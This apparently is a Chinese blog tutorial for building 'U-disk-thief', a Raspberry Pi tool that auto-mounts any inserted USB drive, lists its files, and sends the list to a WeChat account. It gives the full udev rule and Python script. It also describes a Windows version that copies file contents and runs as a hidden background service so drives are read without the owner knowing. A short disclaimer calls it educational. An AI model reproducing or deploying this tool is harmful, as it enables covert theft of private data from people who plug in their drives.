Python+树莓派 制作简单黑客工具U-disk-thief（U盘小偷）

最近一直在学习Python爬虫，可能随着研究的深入，受到爬虫技术的感染，开始对获取别人的数据产生了兴趣，Python写网页爬虫是获取别人网站上的数据，那可不可以用Python写一个程序获取别人U盘上的数据呢！研究了网上的一些程序，结合手上的这块可以带来无限欢乐的Raspberry Pi，开始制作了我的第一个简单的黑客小工具U-disk-thief（U盘小偷）。
我们要实现的效果是，当有U盘插入到树莓派的USB插口上时，被插入的U盘中文件的名称及文件路径信息将生成一个TXT格式的文件，之后传入到你制定的微信当中，程序执行的速度取决于U盘中文件个数的多少。
在这里做一个说明，写这个程序并不是要对别人的数据及隐私进行扒窃，只是为了对Python编程的学习和技术的研究。话又说回来，就我周围这些人的U盘，也没什么有价值的数据值得获取，反而是U盘里携带着各种蠕虫病毒和宏病毒，经常是过来找我帮忙给U盘杀毒或者是恢复U盘里被隐藏的文件，真是不愿意将这些U盘链接到电脑上！好了，话不多说，开始我们的制作过程吧！
1.准备材料
（1）树莓派
（2）两部可以登录微信的智能手机（分别用于登录两个互为好友的微信号）
（3）U盘一个

U盘

2.树莓派链接U盘自动识别
由于树莓派上安装的是Linux系统，无法对插入的U盘进行自动识别并挂在，在制作前需要在树莓派上进行设置，实现链接U盘自动识别，方法如下：

在树莓派上输入命令

sudo nano /etc/udev/rules.d/10-usbstorage.rules

复制粘贴这个脚本到编辑窗口

   KERNEL!="sd*", GOTO="media_by_label_auto_mount_end"  
   SUBSYSTEM!="block",GOTO="media_by_label_auto_mount_end"
   IMPORT{program}="/sbin/blkid -o udev -p %N"  
   ENV{ID_FS_TYPE}=="", GOTO="media_by_label_auto_mount_end"
   ENV{ID_FS_LABEL}!="", ENV{dir_name}="%E{ID_FS_LABEL}"  
   ENV{ID_FS_LABEL}=="", ENV{dir_name}="Untitled-%k"  
   ACTION=="add", ENV{mount_options}="relatime,sync"  
   ACTION=="add", ENV{ID_FS_TYPE}=="vfat", ENV{mount_options}="iocharset=utf8,umask=000"  
   ACTION=="add", ENV{ID_FS_TYPE}=="ntfs", ENV{mount_options}="iocharset=utf8,umask=000"  
   ACTION=="add", RUN+="/bin/mkdir -p /media/%E{dir_name}", RUN+="/bin/mount -o $env{mount_options} /dev/%k /media/%E{dir_name}"  

   ACTION=="remove", ENV{dir_name}!="", RUN+="/bin/umount -l /media/%E{dir_name}", RUN+="/bin/rmdir /media/%E{dir_name}"  
   LABEL="media_by_label_auto_mount_end"  

保存退出!
再次插入U盘设备 会自动挂载到/media目录下面的目录被识别为Untitled-sda1（路径为/media/Untitled-sda1,记住这个路径，一会我们将会用到）， 实现自动识别后可以支持U盘中utf8格式的中文文件名。
3.python代码

import os
import time 
import shutil
import string
from wxpy import *
#识别到的U盘路径
USB = '/media/Untitled-sda1'
#生成TXT文件的保存路径
SAVE = '/home/pi/usbdisk-copy/'
OLD=[]
#初始化微信机器人
bot = Bot()
my_friend = bot.friends().search('高杆')[0]
#获取U盘信息的函数
def usbWalker():
    if not os.path.exists(SAVE): 
        os.mkdir(SAVE)
    filename="u-copy.txt"
    f=open(filename,"w") 
    for root, dirs, files in os.walk(USB): 
        for file in files:
            export = os.path.join(root,file)
            f.writelines(export+'\n')
    f.close
#检测U盘是否重复的函数
def getusb():
    global OLD
    NEW=os.listdir(USB)
    if (len(NEW)==len(OLD)):
        return 0
    else:
        OLD=NEW
        return 1
#执行程序检测U盘是否插入，并进行处理！
while TRUE:
    if os.path.exists(USB):
        if getusb():
            try :
                usbWalker()
                try:
                    my_friend.send_file('u-copy.txt')
                except:
                    my_friend.send('Send Error')
            except:
                pass
    else:
        pass
#设置程序执行间隔时间为10秒
    time.sleep(10)

4.代码解析
程序代码比较容易理解，首先是检测指定的系统路径下的文件夹是否存在，也就是U盘插入显示的文件夹USB=/media/Untitled-sda1，若不存在就间隔10秒再次执行检测，若发现U盘，则执行获取U盘信息的函数def usbWalker()，函数将生成一个u-copy.txt的文本文件存储在'/home/pi/usbdisk-copy/'路径下，注意这里的usbdisk-copy文件夹是我们提前建好的，并且Python程序文件也存储在这个路径下，u-copy.txt文件生成后将发送到制定的微信中（这一步的具体实现方法可以参照我之前的两篇文章《Python+树莓派 实现微信拍照、摄相机器人》和《Python+树莓派+人体红外感应模块 实现微信监控》关于微信机器人的使用）。若U盘一直插在树莓派上，则一直进行着程序，这样就会反复生成u-copy.txt文件，这样很不合理，所以在执行生成txt文件函数前，先执行检测U盘是否重复的函数def getusb()，进行简单的重复比较，若发现重复则不执行def usbWalker()函数。
5.应用扩展
这个程序同样可以修改后在windows系统上执行，修改代码增加文件拷贝函数，不但可以读取到U盘的文件名称和路径，还能copy文件详细内容，或者可以指定copyU盘中那些类型的文件（.doc/.xls/.ppt/.txt......），也可以省去微信发送的环节，将copy的文件存储起来，由于树莓派的存储空间比较小，这里没有这么做，但是我在windows系统上完成了上述扩展的程序，并且用Python的打包工具pyinstaller 将程序打包成了.exe执行程序,还设置成windows的本地服务后台运行，这样就可以更加神不知鬼不觉的获取U盘数据。

以上就是这个简单的黑客小工具制作，这里纯粹是为了技术的分享，若你用这种方式做了一些bad thing，请后果自负，是不是脑袋里已经想着要copy谁的U盘啦！慎重、慎重！！！